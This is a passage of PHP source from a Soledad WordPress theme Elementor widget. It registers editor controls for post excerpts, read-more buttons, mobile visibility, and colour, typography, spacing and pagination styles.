			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_reviewpie', array(
			'label'        => __( 'Show Review Scores from Penci Review plugin', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'show_excerpt', array(
			'label'        => __( 'Show The Post Excerpt?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'excerpt_length', array(
			'label'     => __( 'Custom Excerpt Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 500,
			'step'      => 1,
			'default'   => 15,
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_align', array(
			'label'       => __( 'Custom Excerpt Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'condition'   => array( 'show_excerpt' => 'yes' ),
			'label_block' => false,
			'options'     => array(
				'left'    => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center'  => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'   => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
				'justify' => array(
					'title' => __( 'Justify', 'soledad' ),
					'icon'  => 'eicon-text-align-justify',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'show_readmore', array(
			'label'        => __( 'Show Read More Button?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
			'default'      => '',
			'separator'    => 'before',
		) );

		$this->add_control( 'rmstyle', array(
			'label'     => __( 'Read More Button Style', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'options'   => array(
				'filled'    => 'Default',
				'bordered'  => 'Bordered',
				'underline' => 'Underline',
				'text'      => 'Text Only',
			),
			'default'   => 'filled',
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_control( 'rm_align', array(
			'label'       => __( 'Custom Read More Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'condition'   => array( 'show_readmore' => 'yes' ),
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
			'selectors'   => array(
				'{{WRAPPER}} .pcsl-readmore' => 'text-align: {{VALUE}}'
			)
		) );

		$this->add_control( 'excerpt_pos', array(
			'label'      => __( 'Excerpt & Read More Position', 'soledad' ),
			'type'       => Controls_Manager::SELECT,
			'options'    => array(
				'below' => 'Below of Image',
				'side'  => 'Side of Image',
			),
			'separator'  => 'before',
			'default'    => 'below',
			'conditions' => [
				'relation' => 'or',
				'terms'    => [
					[
						'name'     => 'show_excerpt',
						'operator' => '==',
						'value'    => 'yes'
					],
					[
						'name'     => 'show_readmore',
						'operator' => '==',
						'value'    => 'yes'
					]
				]
			]
		) );

		$this->add_control( 'heading_show_mobile', array(
			'label'     => __( 'Showing on Mobile', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'hide_cat_mobile', array(
			'label'        => __( 'Hide Post Categories on Mobile?', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_meta_mobile', array(
			'label'        => __( 'Hide Post Meta on Mobile', 'soledad' ),
			'description'  => __( 'Include: Author Name, Date, Comments Count, Views Count, Reading Time', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
		) );

		$this->add_control( 'hide_excerpt_mobile', array(
			'label'        => __( 'Hide Post Excerpt on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'hide_rm_mobile', array(
			'label'        => __( 'Hide Post Read More Button on Mobile', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'return_value' => 'yes',
			'default'      => '',
			'condition'    => array( 'show_readmore' => 'yes' ),
		) );

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		$this->start_controls_section( 'section_style_tax', array(
			'label' => __( 'Taxonomy Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'tax_listing_bgcl', array(
			'label'     => __( 'Taxonomy List/Content Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_scl', array(
			'label'     => __( 'Taxonomy List/Content Seperate Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-posts' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_heading', array(
			'label'     => __( 'Taxonomy Text', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'condition' => [ 'count!' => '' ],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tax_listing_typo',
			'label'    => __( 'Taxonomy Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .penci-mtp-filters-terms ul li a',
		) );

		$this->add_responsive_control( 'tax_listing_spacing', array(
			'label'     => __( 'Spacing Between Items', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mtp-filters-wrapper' => '--listspc: {{SIZE}}px' ),
		) );

		$this->add_responsive_control( 'tax_listing_bdw', array(
			'label'     => __( 'Taxonomy Term Border Width', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'border-style: solid;border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_responsive_control( 'tax_listing_bdrd', array(
			'label'     => __( 'Taxonomy Term Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->start_controls_tabs( 'tabs_tax_style' );

		$this->start_controls_tab(
			'tax_listing_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control( 'tax_listing_t_bg', array(
			'label'     => __( 'Taxonomy Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_bg', array(
			'label'     => __( 'Taxonomy Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'background: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_bdcl', array(
			'label'     => __( 'Taxonomy Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a' => 'border-color: {{VALUE}};',
			),
		) );

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tax_listing_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control( 'tax_listing_thbg', array(
			'label'     => __( 'Taxonomy Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_hbg', array(
			'label'     => __( 'Taxonomy Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover' => 'background: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_bbg', array(
			'label'     => __( 'Taxonomy Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover' => 'border-color: {{VALUE}};',
			),
		) );

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tax_listing_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_control( 'tax_listing_tabg', array(
			'label'     => __( 'Taxonomy Active Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"]' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_abg', array(
			'label'     => __( 'Taxonomy Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"]' => 'background: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_abbg', array(
			'label'     => __( 'Taxonomy Active Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"]' => 'border-color: {{VALUE}};',
			),
		) );

		$this->end_controls_tab();

		$this->end_controls_tabs();

		// Count

		$this->add_control( 'tax_listing_number_heading', array(
			'label'     => __( 'Taxonomy Count Number', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'condition' => [ 'count!' => '' ],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'tax_count_typo',
			'label'     => __( 'Taxonomy Count Number Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .penci-mtp-filters-terms ul li a .count',
			'condition' => [ 'count!' => '' ],
		) );

		$this->add_control( 'tax_listing_count_thbg', array(
			'label'     => __( 'Taxonomy Hover Count Number Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'count!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a:hover .count' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'tax_listing_count_tabg', array(
			'label'     => __( 'Taxonomy Active Count Number Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => [ 'count!' => '' ],
			'selectors' => array(
				'{{WRAPPER}} .penci-mtp-filters-terms ul li a.added .count, {{WRAPPER}} .penci-mtp-filters-wrapper[data-filter-terms=""] ul li a[data-id="all"] .count' => 'color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_content', array(
			'label' => __( 'Posts Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_control( 'ver_border', array(
			'label'        => __( 'Add Vertical Border Between Post Items', 'soledad' ),
			'type'         => Controls_Manager::SWITCHER,
			'label_on'     => __( 'Yes', 'soledad' ),
			'label_off'    => __( 'No', 'soledad' ),
			'return_value' => 'yes',
		) );

		$this->add_control( 'ver_bordercl', array(
			'label'     => __( 'Custom Vertical Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-color: {{VALUE}};',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_responsive_control( 'ver_borderw', array(
			'label'     => __( 'Custom Vertical Border Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-verbd .pcsl-item' => 'border-right-width: {{SIZE}}px;',
			),
			'condition' => array( 'ver_border' => 'yes' ),
		) );

		$this->add_control( 'item_bg', array(
			'label'     => __( 'Post Items Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_responsive_control( 'item_padding', array(
			'label'      => __( 'Post Items Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_control( 'item_borders', array(
			'label'     => __( 'Add Borders for Post Items', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-itemin' => 'border: 1px solid {{VALUE}};' ),
		) );

		$this->add_control( 'remove_border_last', array(
			'label'     => __( 'Remove Border Bottom On Last Item', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'label_on'  => __( 'Yes', 'soledad' ),
			'label_off' => __( 'No', 'soledad' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-col-1 .pcsl-item:last-child .pcsl-itemin' => 'padding-bottom: 0; border-bottom: none;'
			),
			'condition' => array( 'column' => '1', 'item_borders!' => '' ),
		) );

		$this->add_responsive_control( 'item_bordersw', array(
			'label'      => __( 'Post Items Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-itemin' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'side_padding', array(
			'label'      => __( 'Padding for Side Content of Image', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}} !important;'
			),
		) );

		// Box Shadow
		$this->add_control( 'heading_featured_image_shadow', array(
			'label'     => __( 'Featured Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'featured_image_shadow_enable', array(
			'label' => __( 'Enable Shadow?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->add_responsive_control( 'featured_image_shadow', array(
			'label'     => __( 'Image Shadow', 'soledad' ),
			'type'      => Controls_Manager::BOX_SHADOW,
			'selectors' => [
				'{{WRAPPER}} .pcsl-thumb' => 'box-shadow: {{HORIZONTAL}}px {{VERTICAL}}px {{BLUR}}px {{SPREAD}}px {{COLOR}} {{box_shadow_position.VALUE}};',
			],
			'condition' => [ 'featured_image_shadow_enable' => 'yes' ]
		) );

		$this->add_control( 'heading_pcat', array(
			'label'     => __( 'Post Categories', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'cat_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'cat_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .cat > a.penci-cat-name:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'cat_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .cat > a.penci-cat-name',
		) );

		$this->add_control( 'heading_ptitle', array(
			'label'     => __( 'Post Title', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'title_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'title_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-content .pcsl-title a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'title_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-content .pcsl-title',
		) );

		$this->add_control( 'heading_date', array(
			'label'     => __( 'Post Date ( for "Creative List" layout )', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_control( 'date_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-hdate .pcsl-date span' => 'color: {{VALUE}};' ),
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'date_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .pcsl-hdate .pcsl-date span',
			'condition' => array( 'type' => array( 'nlist' ) ),
		) );

		// alt meta
		$this->add_control( 'heading_alt_meta', array(
			'label'     => __( 'Post Date', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => [ 'column' => '1' ],
		) );

		$this->add_control( 'meta_alt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta.pcmtf-mt-alt span' => 'color: {{VALUE}};' ),
			'condition' => [ 'column' => '1' ],
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'meta_alt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'selector'  => '{{WRAPPER}} .grid-post-box-meta.pcmtf-mt-alt',
			'condition' => [ 'column' => '1' ],
		) );
		// end alt meta

		$this->add_control( 'heading_meta', array(
			'label'     => __( 'Post Meta', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'meta_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_color', array(
			'label'     => __( 'Links Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'links_hcolor', array(
			'label'     => __( 'Links Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .grid-post-box-meta span a:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'meta_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .grid-post-box-meta',
		) );

		$this->add_control( 'heading_excerpt', array(
			'label'     => __( 'Post Excerpt', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'show_excerpt' => 'yes' ),
		) );

		$this->add_control( 'excerpt_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array( '{{WRAPPER}} .pcbg-pexcerpt, {{WRAPPER}} .pcbg-pexcerpt p' => 'color: {{VALUE}};' ),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'      => 'excerpt_typo',
			'label'     => __( 'Typography', 'soledad' ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selector'  => '{{WRAPPER}} .pcbg-pexcerpt p',
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_rm', array(
			'label'     => __( 'Read More Button', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array( 'show_readmore' => 'yes' ),
		) );

		$this->add_responsive_control( 'rm_padding', array(
			'label'      => __( 'Button Padding', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle!' => 'text' ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_borders', array(
			'label'      => __( 'Button Borders Width', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_responsive_control( 'rm_radius', array(
			'label'      => __( 'Button Borders Radius', 'soledad' ),
			'type'       => Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'condition'  => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors'  => array(
				'{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};'
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'rm_typo',
			'label'    => __( 'Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn',
		) );

		$this->add_control( 'rm_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hcolor', array(
			'label'     => __( 'Text Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'filled' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'rm_hbdcolor', array(
			'label'     => __( 'Hover Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'condition' => array( 'rmstyle' => array( 'bordered', 'underline' ) ),
			'selectors' => array( '{{WRAPPER}} .pcsl-readmore .pcsl-readmorebtn:hover' => 'border-color: {{VALUE}};' ),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'section_style_spacing', array(
			'label' => __( 'Elements Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );

		$this->add_responsive_control( 'cat_space', array(
			'label'     => __( 'Categories Margin Bottom', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .pcsl-content .cat' => 'margin-bottom: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'meta_space', array(
			'label'     => __( 'Post Meta Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-inner .grid-post-box-meta' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'excerpt_space', array(
			'label'     => __( 'Post Excerpt Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'show_excerpt' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-pexcerpt' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'rm_space', array(
			'label'     => __( 'Read More Button Margin Top', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'condition' => array( 'show_readmore' => 'yes' ),
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .pcsl-readmore' => 'margin-top: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'pagi_design', array(
			'label'     => __( 'Page Navigation', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => array(
				'paging!' => 'none',
				'type!'   => 'crs',
			),
		) );

		$this->add_responsive_control( 'pagi_mwidth', array(
			'label'      => __( 'Load More Posts Button Max Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => array( '%', 'px' ),
			'range'      => array(
				'%'  => array( 'min' => 0, 'max' => 100, ),
				'px' => array( 'min' => 0, 'max' => 2000, 'step' => 1 ),
			),
			'condition'  => array(
				'paging' => array( 'loadmore', 'scroll' ),
			),
			'selectors'  => array(
				'{{WRAPPER}} .penci-pagination.penci-ajax-more a.penci-ajax-more-button' => 'max-width: {{SIZE}}{{UNIT}};',
			),
		) );

		$this->add_control( 'pagi_color', array(
			'label'     => __( 'Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'pagi_hcolor', array(
			'label'     => __( 'Text Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li span.current' => 'color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_color', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a'                    => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a' => 'border-color: {{VALUE}};',
			),
			'condition' => array(
				'paging!' => 'none',
			),
		) );

		$this->add_control( 'bgpagi_hcolor', array(
			'label'     => __( 'Borders Hover & Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .penci-pagination a:hover'                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-pagination ul.page-numbers li a:hover'      => 'border-color: {{VALUE}};',
